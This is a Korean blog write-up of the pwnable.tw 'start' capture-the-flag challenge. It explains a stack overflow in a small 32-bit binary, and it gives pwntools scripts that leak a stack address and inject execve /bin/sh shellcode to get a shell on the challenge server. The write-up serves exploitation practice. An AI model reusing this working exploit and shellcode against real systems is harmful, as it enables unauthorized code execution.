Just a start....라는데 생각보다 어려웠다..ㅠㅠ pwnable.tw는 좀 나중에 해야겠다.... 아직 실력이 매우 부족한 것 같다ㅠㅠ

'Let's start the CTF:' 라는 문구가 나오고 입력을 받는다.

아이다로 열어보자! (32bit다.)

이렇게 나와서 처음에는 당황했다.. _asm을 보아하니까 어셈블리로 푸는 문제라고 생각이 들어서 어셈블리를 확인했다.

어셈블리를 보면 이렇다! 익숙한 코드들이 보인다!! interrupt로 system call을 해서 write와 read를 하는 코드이다.

http://shell-storm.org/shellcode/files/syscalls.html

 

System Call Table

vm86_regs include/asm/vm86.h: struct vm86_regs { /* normal regs, with special meaning for the segment descriptors.. */      long ebx;      long ecx;      long edx;      long esi;      long edi;      long ebp;      long eax;      long __null_ds;      long _

shell-storm.org

system call table을 참고해서 분석할 수 있다.

 

Esp+14의 위치가 exit함수이므로 Write로 인자를 받고 read로 인자를 출력하고 exit를 하는 바이너리라는 것을 알 수 있다. 취약점은 바로 보이는데, 무조건 esp+14의 위치로 리턴을 하기 때문에 read로 그 부분을 덮어서 eip를 조작하면 된다. (위에 보면 write20바이트를 받는다.)

아무 보호기법도 걸려있지 않았다!! NX조차 걸려있지 않은 것을 봐서는 쉘코드를 쓰면 될 듯 하다.(바이너리가 너무 작아서 가젯은 많이 있을 것 같지도 않고 NX가 걸려있지 않으면 대부분 쉘코드 문제이다!)

 

이제 Leak을 해보자.

 

Jmp esp가 없으니까(바이너리 크기가 워낙 작아서...)

위 그림에서 mov ecx,esp 를 사용해서 leak을 해보자.(write함수 인자 값이 들어가기 직전 코드영역이고 현재 esp+0x14+0x4(pop eip)에 위치한 스택값이 leak된다.)

이걸 사용하자!

#!/usr/bin/python
from pwn import *

context.log_level='debug'

#p = process('./start')
p = remote('call.pwnable.tw', 10000)

payload = ''
payload += "A"*20
payload += p32(0x08048087)

p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_add = u32(p.recv(4))
print(hex(stack_add))

이 스크립트를 돌려주면,

누가봐도 stack주소인 0xffcb130이 leak되는 것을 확인 할 수 있다.

write부분으로 리턴을 했으니까 read를 또 받는다리턴된 주소에 입력을 받고 마지막에 ret를 하는데 read를 다시 받을 때 쉘코드를 추가시켜서 쉘코드가 저장된 주소를 esp+0x14에 덮으면 될 것이다!!

 

그러면 payloadA*20 + shellcode_addr + shellcode형식으로 하면 된다. shellcode주소는 leak해주었던 주소에서 +20부분이다.

 

#!/usr/bin/python
from pwn import *

context.log_level='debug'

#p = process('./start')
p = remote('call.pwnable.tw', 10000)

payload = ''
payload += "A"*20
payload += p32(0x08048087)

p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_add = u32(p.recv(4))
print(hex(stack_add))

shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

payload = ''
payload += "A"*20
payload += p32(stack_add + 20)
payload += shell
p.send(payload)

p.interactive()

이렇게 스크립트를 짜서 돌려주면

성공이다!! flag는 /home/start/flag에 위치한다!

+ Recent posts